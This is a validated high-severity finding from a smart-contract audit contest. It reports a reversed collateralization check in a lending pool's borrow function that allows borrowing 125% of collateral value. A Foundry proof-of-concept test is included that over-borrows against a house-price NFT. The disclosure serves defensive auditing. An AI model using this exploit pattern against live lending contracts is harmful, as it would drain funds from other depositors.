Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Critical Collateralization Flaw in Lending Pool Contract

Summary

The LendingPool contract contains a vulnerability in its lending and liquidation mechanisms, where collateral is significantly undervalued compared to the borrowed amount. This flaw allows a borrower to trigger an immediate liquidation event by borrowing more than their collateral value, leading to potential exploits and financial losses.

Vulnerability Details

In the lending pool contract, the LendingPool::borrow() function does not correctly account for the necessary collateral-to-loan ratio. Specifically, a user can borrow an amount (e.g., 125 ether) that exceeds their collateral's current value (100 ether). After borrowing, the contract allows the user to immediately initiate liquidation without any protective checks. This results in the liquidation being triggered by the user themselves, even when their position is not in a valid state for liquidation.

  • Collateral value: 100 ether

  • Borrowed amount: 125 ether

  • Collateral-to-loan ratio: 80%

  • Liquidation threshold: 100% (borrow amount exceeding collateral)

The vulnerability exists because the contract does not enforce a proper collateralization ratio before allowing a user to borrow funds. Moreover, the liquidation process can be initiated immediately after borrowing, even if the contract has not been updated with the correct collateral-to-debt ratio.

Impact

The impact of this vulnerability can result in:

  1. Immediate liquidation with excessive borrowing: Borrowing more than the collateral without triggering any safeguards can lead to an automatic liquidation event.

  2. Loss of funds: The borrower can exploit the system by borrowing more than what they can afford to repay, causing the system to liquidate their position unfairly.

  3. Financial instability: Other users of the lending pool may be at risk due to the unbalanced collateralization, as the system could lose funds in case of an exploit.

If an attacker or user is able to exploit this vulnerability, they may:

  • Borrow funds that they cannot repay.

  • Trigger liquidation that results in the loss of collateral or funds.

  • Manipulate the contract to enrich themselves at the expense of other users.

PoC

contract LendingPoolTest is Test {
address owner;
address user1;
address user2;
address user3;
crvUSDToken crvusd;
RAACNFT raacNFT;
RAACHousePrices raacHousePrices;
LendingPool lendingPool;
RToken rToken;
DebtToken debtToken;
uint256 constant WAD = 1e18;
uint256 constant RAY = 1e27;
function setUp() public {
owner = address(this);
user1 = address(0x1);
user2 = address(0x2);
user3 = address(0x3);
crvusd = new crvUSDToken(owner);
crvusd.setMinter(owner);
raacHousePrices = new RAACHousePrices(owner);
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
rToken = new RToken("RToken", "RT", owner, address(crvusd));
debtToken = new DebtToken("DebtToken", "DT", owner);
uint256 initialPrimeRate = (1 * RAY) / 10;
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
initialPrimeRate
);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
uint256 mintAmount = 1000 * WAD;
crvusd.mint(user1, mintAmount);
crvusd.mint(user3, mintAmount);
crvusd.mint(user2, 10000 * WAD);
vm.prank(user1);
crvusd.approve(address(lendingPool), mintAmount);
vm.prank(user2);
crvusd.approve(address(lendingPool), mintAmount);
vm.prank(user3);
crvusd.approve(address(lendingPool), mintAmount);
raacHousePrices.setOracle(owner);
raacHousePrices.setHousePrice(1, 100 * WAD);
uint256 tokenId = 1;
uint256 amountToPay = 100 * WAD;
crvusd.mint(user1, amountToPay);
vm.prank(user1);
crvusd.approve(address(raacNFT), amountToPay);
vm.prank(user1);
raacNFT.mint(tokenId, amountToPay);
uint256 depositAmount = 1000 * WAD;
vm.prank(user2);
crvusd.approve(address(lendingPool), depositAmount);
vm.prank(user2);
lendingPool.deposit(depositAmount);
assertEq(crvusd.balanceOf(address(rToken)), 1000 * WAD);
uint256 depositAmount2 = 1000 ether;
vm.prank(user2);
crvusd.approve(address(lendingPool), depositAmount2);
vm.prank(user2);
lendingPool.deposit(depositAmount2);
vm.prank(user1);
raacNFT.approve(address(lendingPool), tokenId);
vm.prank(user1);
lendingPool.depositNFT(tokenId);
}
function testBorrowPoc() public{
uint256 borrowAmount = 125 ether;
vm.prank(user1);
lendingPool.borrow(borrowAmount);
lendingPool.initiateLiquidation(user1);
}
}

Tools Used

  • Manual code review

Recommendations

  1. Collateral-to-loan ratio check: Add a check to ensure that the collateralization ratio is always above the liquidation threshold before allowing a user to borrow funds. This can be done by comparing the collateral value to the amount borrowed and ensuring the value exceeds the required ratio (e.g., 150% collateral for every 100% loan).

Updates

Lead Judging Commences

inallhonesty Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.